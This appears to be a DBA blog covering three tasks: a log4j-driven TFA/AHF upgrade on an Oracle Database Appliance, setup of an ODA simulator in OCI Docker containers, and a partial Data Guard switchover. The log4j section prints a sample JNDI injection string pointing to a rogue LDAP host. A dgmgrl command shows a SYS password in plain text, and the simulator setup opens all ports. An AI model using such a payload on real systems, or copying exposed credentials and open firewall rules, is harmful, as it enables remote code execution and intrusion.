TFA upgrade to address log4j vulnarability

 As you all aware all organization allocating more time to address this log4j vulnerability , every dba/Infrastructure engineer is working on mitigating the log4j issue, As per the oracle updates database side we need to upgrade tfa utility to mitigate log4j vulnerability. 

This below mention link provides really good insight of how this log4j works , We think it's really important to get understanding of this process before upgrading the vulnerable utilities and products.

https://socradar.io/what-do-you-know-about-the-log4j-critical-vulnerability-and-what-can-we-do/

How does Log4j vulnerability work?

How the Log4j processor handles the log messages is the root cause of the vulnerability. An attacker can remotely execute codes by sending a custom message that may include malicious code like the following.

${jndi:ldap://rogueldapserver.com/a

 

This code insertion results in loading an external code class or message lookup and the execution of that code.

Hope below link will be useful to download the latest patches for OCT 2021 and these patches comes with addressing CVE-2021-44228 log4j vulnerability.

Main update link for CVE-2021-44228.

Oracle Security Alert Advisory - CVE-2021-44228

Quarterly patches including CVE-2021-44228.

Document 2796575.1 (oracle.com)

 

While upgrading the TFA on database environment we faced few unexpected issues , This article I will cover the tfa upgrade steps and solution for tfa installation issues.

After download the stage the patch run below mention command to verify the patch. 

Verification

[root@ecl-odabase-0 AHF-LINUX_v21.3.4]# openssl dgst -sha256 -verify ./oracle-tfa.pub -signature ./ahf_setup.dat ./ahf_setup
Verified OK

Error:

[root@ecl-odabase-0 AHF-LINUX_v21.3.4]# ./ahf_setup

AHF Installer for Platform Linux Architecture x86_64

AHF Installation Log : /tmp/ahf_install_213400_6537_2021_12_16-12_01_12.log

Starting Autonomous Health Framework (AHF) Installation

AHF Version: 21.3.4 Build Date: 202112151432

[ERROR] : AHF-00099: Invalid Existing AHF on ODA VM Installation detected

[ERROR] : Please visit https://blogs.oracle.com/oda/using-orachk-with-the-oracle-database-appliance for advice

Note: Best option is to address this issue by performing a fresh installation.

First make sure to uninstall tfa on all the nodes on the cluster.

  
[root@ecl-odabase-0 AHF-LINUX_v21.3.4]#  /opt/oracle/dcs/oracle.ahf/tfa/bin/tfactl uninstall
Starting AHF Uninstall
NOTE : Uninstalling does not return all the space used by the AHF repository
AHF will be uninstalled on:
ecl-odabase-0


Do you want to continue with AHF uninstall ? [Y]|N : Y

Stopping AHF service on local node ecl-odabase-0...
Stopping TFA Support Tools...


TFA-00002 Oracle Trace File Analyzer (TFA) is not running
Removing AHF setup on ecl-odabase-0:
Removing /etc/rc.d/rc0.d/K17init.tfa
Removing /etc/rc.d/rc1.d/K17init.tfa
Removing /etc/rc.d/rc2.d/K17init.tfa
Removing /etc/rc.d/rc4.d/K17init.tfa
Removing /etc/rc.d/rc6.d/K17init.tfa
Removing /etc/init.d/init.tfa...
Removing /opt/oracle/dcs/oracle.ahf/jre
Removing /opt/oracle/dcs/oracle.ahf/common
Removing /opt/oracle/dcs/oracle.ahf/bin
Removing /opt/oracle/dcs/oracle.ahf/python
Removing /opt/oracle/dcs/oracle.ahf/analyzer
Removing /opt/oracle/dcs/oracle.ahf/tfa
Removing /opt/oracle/dcs/oracle.ahf/orachk
Removing /opt/oracle/dcs/oracle.ahf/ahf
Removing /opt/oracle/dcs/oracle.ahf/data/ecl-odabase-0

Removing /opt/oracle/dcs/oracle.ahf/data/work
Removing /opt/oracle/dcs/oracle.ahf/install.properties

Verify the installation is completely uninstall.

[root@ecl-odabase-0 AHF-LINUX_v21.3.4]# /opt/oracle/dcs/oracle.ahf/tfa/bin/tfactl status
-bash: /opt/oracle/dcs/oracle.ahf/tfa/bin/tfactl: No such file or directory

Before starting the installation remove the previous installed directory on both the nodes.

##### remove folder before the installation

drwxr-xr-x 3 root root 4.0K Dec 16 12:04 oracle.ahf
[root@ecl-odabase-0 dcs]# rm -fr oracle.ahf
[root@ecl-odabase-0 dcs]# cd /u01/AHF/
[root@ecl-odabase-0 AHF]# ls -lrth

Installation

root@ecl-odabase-0 AHF-LINUX_v21.3.4]# ./ahf_setup

AHF Installer for Platform Linux Architecture x86_64

AHF Installation Log : /tmp/ahf_install_213400_71649_2021_12_16-12_12_48.log

Starting Autonomous Health Framework (AHF) Installation

AHF Version: 21.3.4 Build Date: 202112151432

Default AHF Location : /opt/oracle.ahf

Do you want to install AHF at [/opt/oracle.ahf] ? [Y]|N : Y

AHF Location : /opt/oracle.ahf

AHF Data Directory stores diagnostic collections and metadata.
AHF Data Directory requires at least 5GB (Recommended 10GB) of free space.

Choose Data Directory from below options :

1. /u01/app/grid [Free Space : 0 MB]
2. Enter a different Location

Choose Option [1 - 2] : 2

Please Enter AHF Data Directory : /opt/oracle.ahf

AHF Data Directory : /opt/oracle.ahf/data

Do you want to add AHF Notification Email IDs ? [Y]|N : N

AHF will also be installed/upgraded on these Cluster Nodes :

1. ecl-odabase-1

The AHF Location and AHF Data Directory must exist on the above nodes
AHF Location : /opt/oracle.ahf
AHF Data Directory : /opt/oracle.ahf/data

Do you want to install/upgrade AHF on Cluster Nodes ? [Y]|N : Y

Extracting AHF to /opt/oracle.ahf

Configuring TFA Services

Discovering Nodes and Oracle Resources

Not generating certificates as GI discovered

Starting TFA Services

.----------------------------------------------------------------------------------.
| Host          | Status of TFA | PID   | Port | Version    | Build ID             |
+---------------+---------------+-------+------+------------+----------------------+
| ecl-odabase-0 | RUNNING       | 95921 | 5000 | 21.3.4.0.0 | 21340020211215143236 |
'---------------+---------------+-------+------+------------+----------------------'

Running TFA Inventory...

Adding default users to TFA Access list...

.-----------------------------------------------------------.
|                Summary of AHF Configuration               |
+-----------------+-----------------------------------------+
| Parameter       | Value                                   |
+-----------------+-----------------------------------------+
| AHF Location    | /opt/oracle.ahf                         |
| TFA Location    | /opt/oracle.ahf/tfa                     |
| Orachk Location | /opt/oracle.ahf/orachk                  |
| Data Directory  | /opt/oracle.ahf/data                    |
| Repository      | /opt/oracle.ahf/data/repository         |
| Diag Directory  | /opt/oracle.ahf/data/ecl-odabase-0/diag |
'-----------------+-----------------------------------------'


Starting orachk scheduler from AHF ...

AHF install completed on ecl-odabase-0

Installing AHF on Remote Nodes :

AHF will be installed on ecl-odabase-1, Please wait.

Installing AHF on ecl-odabase-1 :

[ecl-odabase-1] Copying AHF Installer

[ecl-odabase-1] Running AHF Installer

[ERROR] : [ecl-odabase-1] Failed to Install AHF. Exit Status : 99

Adding rpm Metadata to rpm database on ODA system

RPM File /opt/oracle.ahf/rpms/oracle-ahf-213400-20211215143236.x86_64.rpm
Preparing...                ########################################### [100%]
Using Dummy RPM Installer for oracle-ahf
Tool Install Base /opt/oracle.ahf

   1:oracle-ahf             ########################################### [100%]
Upgrading oracle-ahf
warning:    erase unlink of /oracle-ahf-193000.zip failed: No such file or directory
warning:    erase unlink of /opt/oracle/dcs/oracle.ahf failed: No such file or directory

AHF binaries are available in /opt/oracle.ahf/bin

AHF is successfully installed

Do you want AHF to store your My Oracle Support Credentials for Automatic Upload ? Y|[N] : N

Moving /tmp/ahf_install_213400_71649_2021_12_16-12_12_48.log to /opt/oracle.ahf/data/ecl-odabase-0/diag/ahf/

You have new mail in /var/spool/mail/root
[root@ecl-odabase-0 AHF-LINUX_v21.3.4]#

Sync issue

Ater installation tfactl status shows only one node , when we need to sync up the nodes to make this correct

[root@ecl-odabase-1 ~]# /opt/oracle/dcs/oracle.ahf/tfa/bin/tfactl status
WARNING - TFA Software is older than 180 days. Please consider upgrading TFA to the latest version.

.-----------------------------------------------------------------------------------------------------.
| Host          | Status of TFA | PID   | Port | Version    | Build ID             | Inventory Status |
+---------------+---------------+-------+------+------------+----------------------+------------------+
| ecl-odabase-1 | RUNNING       | 10456 | 5000 | 19.3.0.0.0 | 19300020200108023845 | COMPLETE         |
'---------------+---------------+-------+------+------------+----------------------+------------------'

Solution : Execute syncnodes command

Execute /usr/bin/tfactl syncnodes command to represent both nodes

root@ecl-odabase-0 AHF]# /usr/bin/tfactl syncnodes

TFA has not yet generated any certificates on this Node.

Do you want to generate new certificates to synchronize across the nodes? [Y]|N: Y

Generating new TFA Certificates...

Successfully generated certificates.

Restarting TFA on ecl-odabase-0...
Shutting down TFA
oracle-tfa stop/waiting
Successfully shutdown TFA..

Starting TFA..
oracle-tfa start/running, process 87162
Waiting up to 100 seconds for TFA to be started..
. . . . .
Successfully started TFA Process..
. . . . .
TFA Started and listening for commands

Current Node List in TFA :
1. ecl-odabase-0

Node List in Cluster :
1. ecl-odabase-0
2. ecl-odabase-1

Node List to sync TFA Certificates :
     1  ecl-odabase-1

Do you want to update this node list? Y|[N]: N

Syncing TFA Certificates on ecl-odabase-1 :

TFA_HOME on ecl-odabase-1 : /opt/oracle.ahf/tfa

DATA_DIR on ecl-odabase-1 : /opt/oracle.ahf/data/ecl-odabase-1/tfa

Shutting down TFA on ecl-odabase-1...
Copying TFA Certificates to ecl-odabase-1...
Copying SSL Properties to ecl-odabase-1...
Sleeping for 5 seconds...
Starting TFA on ecl-odabase-1...


.-----------------------------------------------------------------------------------------------------.
| Host          | Status of TFA | PID   | Port | Version    | Build ID             | Inventory Status |
+---------------+---------------+-------+------+------------+----------------------+------------------+
| ecl-odabase-0 | RUNNING       | 87437 | 5000 | 21.3.4.0.0 | 21340020211215143236 | COMPLETE         |
| ecl-odabase-1 | RUNNING       | 30305 | 5000 | 21.3.4.0.0 | 21340020211215143236 | COMPLETE         |
'---------------+---------------+-------+------+------------+----------------------+------------------'

[root@ecl-odabase-0 AHF]#

ODA (Oracle Data Appliance) - Simulator - Part 1

ODA (Oracle Data Appliance) is a engineered machine designed for small and medium organization to host their databases. This engineered machine enables to host databases with HA feature (RAC).  

Make sure to  not to mix this up with Exadata , Exadata is more powerful engineered machine designed for large work loads eg:  DSS (Decision support system ) and dataware house environments.

Difference  between Exadata and ODA (Oracle data Appliance)

Oracle Database Appliance is not Exadata. Exadata is a pre-configured combination of hardware and software that provides an infrastructure solely for running Oracle Database. Oracle Database Appliance (ODA) is an integrated highly available (HA) database and applications system in a single box. Exadata is not an appliance, the ODA is. An “appliance” is a server meant for specific responsibilities; compared to a purpose-based database system, like Exadata, which is a high-performance server specifically to handle the database. The ODA is geared towards small and medium-sized environments, whereas Exadata is for large environments with an eye on extreme performance.

To discover the essential administration tasks for the Oracle Database Appliance (ODA) by working through real world exercises on an ODA Simulator that is delivered from Oracle Cloud. This is really good simulator to get more hands on before moving to production. 

Let me illustrate how we can configured the ODA - Simulator. This simulator hosted as docker container , gives more flexibility of testing the many of administration tasks.

Deploy the Simulator

Navigate to OCI market place and launch OCI instance.

Launching Instance

Select shape

Before selecting VCN you should create a VCN . This helps you to access this server via internet.

Generate SSH keys, use below mention url to create ssh keys.

Generating an SSH Key Pair for Oracle Compute Cloud Service Instances

This figure shows the deploying the instance. Once this completes this will turn to green, indicates instance is ready to use.

VNC Network Rules

Simulator we need to create security rule to enable some ports oda access. 

Create Ingress rule as mention below , Allowing all the ports.

Create egress rule as mention below , allowing all the ports.

Once the instance creation is successful, login to environment via and verify the docker instance.

Deploy ODA

Cleanup

All the scripts are located under : /home/opc/simulator_19.12.0.0.0/

First, clean up the oda simulator by running cleanup_odasimulator_sw.sh script.

########### cleanup 

/home/opc/simulator_19.12.0.0.0
./cleanup_odasimulator_sw.sh

Expected output

###################################################################
 Removes all existing Docker containers and volumes from the system
###################################################################

Are you sure you want to continue (yes/no) :
yes

Deleting all docker containers
e9e24d59a43f

Deleting all docker volumes
WARNING! This will remove:
  - all stopped containers
  - all networks not used by at least one container
  - all volumes not used by at least one container
  - all dangling images
  - all dangling build cache

Are you sure you want to continue? [y/N] y
Deleted Volumes:
jre-vol
odasimswbits
perl-vol
persistent-odasim-1-vol

Total reclaimed space: 688MB
[root@oda-simu simulator_19.12.0.0.0]#

Setup oda simulator

################ Setup ODA
./setup_odasimulator_sw.sh noportainer

Installing docker engine:
Loaded plugins: langpacks, ulninfo
ol7_MySQL80                                                                                                                                                                                                            | 3.0 kB  00:00:00
ol7_MySQL80_connectors_community                                                                                                                                                                                       | 2.9 kB  00:00:00
ol7_MySQL80_tools_community                                                                                                                                                                                            | 2.9 kB  00:00:00
ol7_UEKR6                                                                                                                                                                                                              | 3.0 kB  00:00:00
ol7_addons                                                                                                                                                                                                             | 3.0 kB  00:00:00
ol7_ksplice                                                                                                                                                                                                            | 3.0 kB  00:00:00
ol7_latest                                                                                                                                                                                                             | 3.6 kB  00:00:00
ol7_oci_included                                                                                                                                                                                                       | 2.9 kB  00:00:00
ol7_optional_latest                                                                                                                                                                                                    | 3.0 kB  00:00:00
ol7_software_collections                                                                                                                                                                                               | 3.0 kB  00:00:00
Running Setup for ODA Simulator

Installing docker engine:
Loaded plugins: langpacks, ulninfo
Package docker-1.6.1-1.0.1.el7.x86_64 is obsoleted by docker-engine-19.03.11.ol-13.el7.x86_64 which is already installed
Nothing to do
Loaded plugins: langpacks, ulninfo
Package docker-engine-19.03.11.ol-13.el7.x86_64 already installed and latest version
Nothing to do
Loaded image: oraclelinux:7

[root@oda-simu simulator_19.12.0.0.0]#

Create oda nodes.

[root@oda-simu simulator_19.12.0.0.0]# ./createOdaSimulatorContainer.sh -help
Usage:
 createOdaSimulatorContainer.sh -f [file_containing_user_emails || -n num_of_simulators]
 User either -f OR -n option.
 If no parameters are specified, the script creates a single docker container with name starting with "odasim".

 -f  :          File containing user emails(Sample sample_emails.txt provided for reference)
 -n  :          Number of ODA simulators to deploy, default is 1

 Optional parameters:
 -t  :          Deployment type : "single" or "ha", default is "single"
 -e  :          Admin Email to be used for sending deployment info
 -d  :          Department using the simulators : sales/OU/odapm
 -p  :          Starting port number to consider
 -i  :          Public IP of the host running the simulators
 -o  :          'noportainer' : do not configure portainer
 -h  :          Show help
[root@oda-simu simulator_19.12.0.0.0]#

Expected output

[root@oda-simu simulator_19.12.0.0.0]# ./createOdaSimulatorContainer.sh -d oda -t ha -o noportainer
Error: No such volume: jre-vol
Create Persistent volumes to store jre
jre-vol
Copy jre to jre-vol
Error: No such volume: perl-vol
Create Persistent volumes to store Perl
perl-vol
Copy Perl to perl-vol
Error: No such volume: odasimswbits
Create Persistent volumes odasimswbits
odasimswbits
Copy ODA simulator bits to odasimswbits
Copy ODA Lab to odasimswbits

STEP: Creating docker container: oda-1-node0

Create Docker container oda-1-node0
Create Docker volume persistent-oda-1-node0-vol
persistent-oda-1-node0-vol
Start Docker container oda-1-node0
oda-1-node0
Copying following port file to the container:
7094
con_long_id : b0ef1e0cda9d6800a1de370f0c211f2ab4457746d1b12a2725dd5922663c1710
userid:
Copying node id file "node_0" to the container

STEP: Creating docker container: oda-1-node1

Create Docker container oda-1-node1
Create Docker volume persistent-oda-1-node1-vol
persistent-oda-1-node1-vol
Start Docker container oda-1-node1
oda-1-node1
Copying following port file to the container:
7096
con_long_id : a5b256be82ec68f21ee949520a72b199abe570d8ad26b71afde032eeb6a2a0c8
userid:
Copying node id file "node_1" to the container
Copy Simulator bits...
Extract MySQL for ODA...
Create group and user odamysql
Starting MySQL for ODA
Starting Zookeeper
ZooKeeper JMX enabled by default
Using config: /opt/zookeeper/bin/../conf/zoo.cfg
Starting zookeeper ... STARTED
Starting DCS agent
Starting DCS controller
generating credentials for dcs-cli and dcs-agent
done generating credentials for dcs-cli and dcs-agent
DCS-10001:Internal error encountered: Fail to start hand shake to localhost:7070.
Agent is not yet ready
DCS-10001:Internal error encountered: Fail to start hand shake to localhost:7070.
Agent is not yet ready
DCS-10001:Internal error encountered: Fail to start hand shake to localhost:7070.
Agent is not yet ready
DCS-10001:Internal error encountered: Fail to start hand shake to localhost:7070.
Agent is not yet ready
DCS-10001:Internal error encountered: Fail to start hand shake to localhost:7070.
Agent is not yet ready
DCS-10001:Internal error encountered: Fail to start hand shake to localhost:7070.
Agent is not yet ready
DCS-10001:Internal error encountered: Fail to start hand shake to localhost:7070.
Agent is not yet ready
DCS-10001:Internal error encountered: Fail to start hand shake to localhost:7070.
Agent is not yet ready
DCS-10001:Internal error encountered: Fail to start hand shake to localhost:7070.
Agent is not yet ready
Agent is ready to serve the requests.
Disabling RHP for simulator mode

Job details
----------------------------------------------------------------
                     ID:  94b9f1b3-e128-460e-8f73-e8aba92e88d1
            Description:  Update agent configuration parameter values [FEATURE:RHP]
                 Status:  Created
                Created:  December 10, 2021 6:22:07 PM UTC
                Message:

Task Name                                Start Time                          End Time                            Status
---------------------------------------- ----------------------------------- ----------------------------------- ----------

RHP                            false                                                             Allow Oracle's Fleet Patching and Provisioning (FPP)                   December 10, 2021 6:20:47 PM UTC
RHP                            false                                                                                                                                    December 10, 2021 6:22:07 PM UTC


***********************************************
ODA Simulator system info:
Executed on: 2021_12_10_06_15_PM
Executed by:


num=          1
dept=       oda
hostpubip=    


USERS:
Container : oda-1-node0
ODA Console: https://:7095/mgmt/index.html
ODA cli access: Connect to the host and run following command:
sh connectContainer.sh -n oda-1-node0


Container : oda-1-node1
ODA Console: https://:7097/mgmt/index.html
ODA cli access: Connect to the host and run following command:
sh connectContainer.sh -n oda-1-node1


***********************************************

STEP: Updating user metadata file


STEP: Create docker container file with container IDs and IP addresses


ODA Simulator setup is READY
[root@oda-simu simulator_19.12.0.0.0]#

Use docker commands to verify the nodes.

############### Docker process verification

[root@oda-simu simulator_19.12.0.0.0]# docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS                                            NAMES
a5b256be82ec        oraclelinux:7       "/bin/bash"         13 minutes ago      Up 12 minutes       0.0.0.0:7096->7070/tcp, 0.0.0.0:7097->7093/tcp   oda-1-node1
b0ef1e0cda9d        oraclelinux:7       "/bin/bash"         13 minutes ago      Up 13 minutes       0.0.0.0:7094->7070/tcp, 0.0.0.0:7095->7093/tcp   oda-1-node0
[root@oda-simu simulator_19.12.0.0.0]#

Connect to container

########## connect 
[root@oda-simu simulator_19.12.0.0.0]# ./connectContainer.sh -n oda-1-node1
[root@oda-1-node1 /]#

Configure network

############## configure network 

[root@oda-simu simulator_19.12.0.0.0]# ./connectContainer.sh -n oda-1-node0
[root@oda-1-node0 /]# odacli configure-firstnet
bonding interface is:
Using bonding public interface (yes/no) [yes]:
Select the Interface to configure the network on () [btbond1]:
Configure DHCP on btbond1 (yes/no) [no]:
INFO: You have chosen Static configuration
Use VLAN on btbond1 (yes/no) [no]:
Enter the IP address to configure : 192.168.0.100
Enter the Netmask address to configure : 255.255.255.0
Enter the Gateway address to configure[192.168.0.1] :
INFO: Restarting the network
Shutting down interface :           [  OK  ]
Shutting down interface em1:            [  OK  ]
Shutting down interface p1p1:           [  OK  ]
Shutting down interface p1p2:           [  OK  ]
Shutting down loopback interface:               [  OK  ]
Bringing up loopback interface:    [  OK  ]
Bringing up interface :     [  OK  ]
Bringing up interface em1:    [  OK  ]
Bringing up interface p1p1: Determining if ip address 192.168.16.24 is already in use for device p1p1...    [ OK  ]
Bringing up interface p1p2: Determining if ip address 192.168.17.24 is already in use for device p1p2...    [ OK  ]
Bringing up interface btbond1: Determining if ip address 192.168.0.100 is already in use for device btbond1...     [  OK  ]
INFO: Restarting the DCS agent
initdcsagent stop/waiting
initdcsagent start/running, process 20423
[root@oda-1-node0 /]#

Deploy grid and database home

############## deployment

[root@oda-1-node1 /]# ls -l  /opt/oracle/dcs/patchfiles/
total 44
-r-xr-xr-x. 1 113105 wheel 230 Jul 27 20:26 oda-sm-19.12.0.0.0-210720-server.zip
-r-xr-xr-x. 1 113105 wheel  61 Mar 22  2021 odacli-dcs-19.11.0.0.0-210420-DB-12.1.0.2.zip
-r-xr-xr-x. 1 113105 wheel  61 Mar 22  2021 odacli-dcs-19.11.0.0.0-210420-DB-12.2.0.1.zip
-r-xr-xr-x. 1 113105 wheel  62 Mar 22  2021 odacli-dcs-19.11.0.0.0-210420-DB-18.14.0.0.zip
-r-xr-xr-x. 1 113105 wheel  62 Mar 22  2021 odacli-dcs-19.11.0.0.0-210420-DB-19.11.0.0.zip
-r-xr-xr-x. 1 113105 wheel  62 Mar 22  2021 odacli-dcs-19.11.0.0.0-210420-GI-19.11.0.0.zip
-r-xr-xr-x. 1 113105 wheel  54 May 25  2021 odacli-dcs-19.12.0.0.0-210328.1-ODAVM-19.12.0.0.zip
-r-xr-xr-x. 1 113105 wheel  61 May 25  2021 odacli-dcs-19.12.0.0.0-210720-DB-12.1.0.2.zip
-r-xr-xr-x. 1 113105 wheel  61 May 25  2021 odacli-dcs-19.12.0.0.0-210720-DB-12.2.0.1.zip
-r-xr-xr-x. 1 113105 wheel  62 May 25  2021 odacli-dcs-19.12.0.0.0-210720-DB-18.15.0.0.zip
-r-xr-xr-x. 1 113105 wheel  62 May 25  2021 odacli-dcs-19.12.0.0.0-210720-DB-19.12.0.0.zip
[root@oda-1-node1 /]#

Deploy grid

  
  odacli update-repository -f /opt/oracle/dcs/patchfiles/odacli-dcs-19.11.0.0.0-210420-GI-19.11.0.0.zip

[root@oda-1-node1 /]# odacli update-repository -f /opt/oracle/dcs/patchfiles/odacli-dcs-19.11.0.0.0-210420-GI-19.11.0.0.zip
{
  "jobId" : "de5193d8-1b3b-453d-85e1-e0d231e9c839",
  "status" : "Running",
  "message" : "/opt/oracle/dcs/patchfiles/odacli-dcs-19.11.0.0.0-210420-GI-19.11.0.0.zip",
  "reports" : [ ],
  "createTimestamp" : "December 10, 2021 18:34:56 PM UTC",
  "resourceList" : [ ],
  "description" : "Repository Update",
  "updatedTime" : "December 10, 2021 18:34:56 PM UTC"
}
[root@oda-1-node1 /]#
  
  
  

Deploy DB

odacli update-repository -f /opt/oracle/dcs/patchfiles/odacli-dcs-19.11.0.0.0-210420-DB-19.11.0.0.zip

[root@oda-1-node1 /]# odacli update-repository -f /opt/oracle/dcs/patchfiles/odacli-dcs-19.11.0.0.0-210420-DB-19.11.0.0.zip
{
  "jobId" : "ac6efb56-4d12-4322-afac-fbe0102a1078",
  "status" : "Running",
  "message" : "/opt/oracle/dcs/patchfiles/odacli-dcs-19.11.0.0.0-210420-DB-19.11.0.0.zip",
  "reports" : [ ],
  "createTimestamp" : "December 10, 2021 18:35:30 PM UTC",
  "resourceList" : [ ],
  "description" : "Repository Update",
  "updatedTime" : "December 10, 2021 18:35:31 PM UTC"
}
[root@oda-1-node1 /]#

Check the job Status

 
 ############ job Status  
--- DB

odacli describe-job   -i de5193d8-1b3b-453d-85e1-e0d231e9c839



[root@oda-1-node1 /]# odacli describe-job   -i de5193d8-1b3b-453d-85e1-e0d231e9c839

Job details
----------------------------------------------------------------
                     ID:  de5193d8-1b3b-453d-85e1-e0d231e9c839
            Description:  Repository Update
                 Status:  Success
                Created:  December 10, 2021 6:34:56 PM UTC
                Message:  /opt/oracle/dcs/patchfiles/odacli-dcs-19.11.0.0.0-210420-GI-19.11.0.0.zip

Task Name                                Start Time                          End Time                            Status
---------------------------------------- ----------------------------------- ----------------------------------- ----------
Unzip bundle                             December 10, 2021 6:34:57 PM UTC    December 10, 2021 6:34:57 PM UTC    Success
Unzip bundle                             December 10, 2021 6:34:57 PM UTC    December 10, 2021 6:34:58 PM UTC    Success

[root@oda-1-node1 /]# odacli describe-job   -i ac6efb56-4d12-4322-afac-fbe0102a1078


--- GRID
[root@oda-1-node1 /]# odacli describe-job   -i ac6efb56-4d12-4322-afac-fbe0102a1078

Job details
----------------------------------------------------------------
                     ID:  ac6efb56-4d12-4322-afac-fbe0102a1078
            Description:  Repository Update
                 Status:  Success
                Created:  December 10, 2021 6:35:30 PM UTC
                Message:  /opt/oracle/dcs/patchfiles/odacli-dcs-19.11.0.0.0-210420-DB-19.11.0.0.zip

Task Name                                Start Time                          End Time                            Status
---------------------------------------- ----------------------------------- ----------------------------------- ----------
Unzip bundle                             December 10, 2021 6:35:32 PM UTC    December 10, 2021 6:35:32 PM UTC    Success
Unzip bundle                             December 10, 2021 6:35:32 PM UTC    December 10, 2021 6:35:32 PM UTC    Success

[root@oda-1-node1 /]#


 
 

Configure console access oda

Here we are setting up for oda-admin password. oda-admin is super user to manage , create the oda-base servers.

Create appliance

Below mention screen shots illustrate the appliance configuration steps.

ODA node configuration steps

DataGuard switchover in OCI/Oracle Cloud

Acronym - 

DR - Disaster recovery  

Organizations are investing colossal sum of money on DR (Disaster Recovery solutions) because it's has direct impact on business continuity. Many companies implement the DR solution and not testing the DR functionality frequently. It's business and IT infrastructure team's responsibility to test DR functionality at least twice a year. Some companies run their load in DR site for 6 months and change it to back to primary site.  Company should have a proper disaster recovery plan to be back online within short period of time.

This link has really good information about DR strategy and planning  https://www.iternalnetworks.com/what-is-the-best-method-for-disaster-recovery/

Building a Disaster Recovery Plan

Before you choose the best method for disaster recovery, you must first have a disaster recovery plan in place.

To ensure your business continuity, you’ll want to make sure that these best practices are followed:

• Have an updated written or printed version of your disaster recovery plan in an easy-to-access location before a disaster occurs. 

• Knowing where the plan is located will help you to quickly start the process without wasting precious time searching for the document

• Ensure that your recent system backups are stored offsite, be it in the cloud or at another physical location. This helps to ensure that your backups aren’t affected by the same disaster which can lead to longer recovery times.

• Plan for how your business will return to normalcy post-disaster

• Update your disaster recovery plans frequently to reflect changes in your business

• Test your plan to make sure it’s viable against disasters that are likely in your area

Once your disaster plan meets these criteria, you will be far more suited to choose a method of recovery that fits your business. You’ll also need to choose a method of backup storage, be it the cloud, local, removable storage media, or a mix of both.

Recovery Time Objective vs Recovery Point Objective

Organization must understand the differences between recovery time objective (RTO) and recovery point objective (RPO) in disaster recovery. RTO is how long it will take to get your critical infrastructure up and running after a disaster while RPO is the timeframe between the disaster and your last backup.

When RPO is zero, there is no data loss because your system is continually backing up the newest versions of data. 

When RTO is zero, there is no downtime – you barely notice that your systems went down in the first place.

OCI enables greater reflexibility to enable DR solution via DG (data guard) , This enables to create standby database on same region or different region. Also this enable easy option for switchover and failover. 

This article I will illustrate how we can test the switchover in OCI environments.

First let's gather primary and standby database details.

Gather database details

Primary

########## database details 

SQL> show parameter db_uni

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
db_unique_name                       string      PWSH01_yyz16x
SQL> show pdbs

    CON_ID CON_NAME                       OPEN MODE  RESTRICTED
---------- ------------------------------ ---------- ----------
         2 PDB$SEED                       READ ONLY  NO
         3 PWHSE_PDB                      READ WRITE NO

Database Status

SQL> select INST_ID,FLASHBACK_ON from gv$database;

   INST_ID FLASHBACK_ON
---------- ------------------
         1 YES
         2 YES

select instance_name,status,HOST_NAME,to_char(startup_time,'dd/mm/yyyy hh24:mi') startup_time from  gv$instance;
		 
INSTANCE_NAME    STATUS       HOST_NAME                                                        STARTUP_TIME
---------------- ------------ ---------------------------------------------------------------- ----------------
PWSH011          OPEN         dbsdpl21                                                         26/11/2021 19:39
PWSH012          OPEN         dbsdpl22                                                         26/11/2021 19:39

Standby Database

########## standby server

SQL> how parameter db_uni

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
db_unique_name                       string      PWSH01_yyz1k6
SQL> select open_mode,database_role from gv$database;

OPEN_MODE            DATABASE_ROLE
-------------------- ----------------
READ ONLY WITH APPLY PHYSICAL STANDBY
READ ONLY WITH APPLY PHYSICAL STANDBY

select instance_name,status,HOST_NAME,to_char(startup_time,'dd/mm/yyyy hh24:mi') startup_time from  gv$instance;

INSTANCE_NAME    STATUS       HOST_NAME                                                        STARTUP_TIME
---------------- ------------ ---------------------------------------------------------------- ----------------
PWSH011          OPEN         dbsdpl251                                                        26/11/2021 19:43
PWSH012          OPEN         dbsdpl252                                                        26/11/2021 19:43

Standby guaranteed restore point creation

Note: First create restore point on standby side, before that perform few log switches from primary to make it consistent.

alter system archive log current;

Error

This errors comes because MRP process is recovering the standby database. To create GRP we need to stop the MRP process.

SQL> create restore point Before_Switchover_stby guarantee flashback database;
create restore point Before_Switchover_stby guarantee flashback database
*
ERROR at line 1:
ORA-38784: Cannot create restore point 'BEFORE_SWITCHOVER_STBY'.
ORA-01153: an incompatible media recovery is active

Solution

########### solution

DGMGRL> edit database PWSH01_yyz1k6 set state='APPLY-OFF';
Succeeded.
DGMGRL> show database PWSH01_yyz1k6

Database - PWSH01_yyz1k6

  Role:               PHYSICAL STANDBY
  Intended State:     APPLY-OFF
  Transport Lag:      0 seconds (computed 1 second ago)
  Apply Lag:          16 seconds (computed 1 second ago)
  Average Apply Rate: (unknown)
  Real Time Query:    OFF
  Instance(s):
    PWSH011 (apply instance)
    PWSH012

Database Status:
SUCCESS

SQL> create restore point Before_Switchover_stby guarantee flashback database;

Restore point created.

Primary guaranteed restore point creation and verification.

create restore point Before_Switchover_stby guarantee flashback database;


      SCN GUA TIME                                                                        NAME
---------- --- --------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------
   5940139 YES 26-NOV-21 08.29.09.000000000 PM                                             BEFORE_SWITCHOVER_PRI

Pre-checks before switchover.

Verify the connectivity between primary and standby.

############### standby connection 

Used TNSNAMES adapter to resolve the alias
Attempting to contact (DESCRIPTION=(SDU=65535)(SEND_BUF_SIZE=10485760)(RECV_BUF_SIZE=10485760)(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=10.0.0.10)(PORT=1521))(ADDRESS=(PROTOCOL=TCP)(HOST=10.0.0.47)(PORT=1521)))(CONNECT_DATA=(SERVER=DEDICATED)(SERVICE_NAME=PWSH01_yyz1k6.sub08101943420.cnvcn01.oraclevcn.com)(UR=A)))
OK (0 msec)
[oracle@dbsdpl21 admin]$

Validate the data guard status 

 Note : It's really important to validate the data guard status before the switchover , dgmgrl utility has features to check the database readiness for the switchover.

[oracle@dbsdpl21 admin]$ dgmgrl sys/CHana88#_@PWSH01_YYZ1K6
DGMGRL for Linux: Release 19.0.0.0.0 - Production on Fri Nov 26 20:34:49 2021
Version 19.11.0.0.0

Copyright (c) 1982, 2019, Oracle and/or its affiliates.  All rights reserved.

Welcome to DGMGRL, type "help" for information.
Connected to "PWSH01_yyz1k6"
Connected as SYSDBA.
DGMGRL>
DGMGRL> show database verbose
Object "verbose" was not found
DGMGRL>  show configuration;

Configuration - PWSH01_yyz16x_PWSH01_yyz1k6

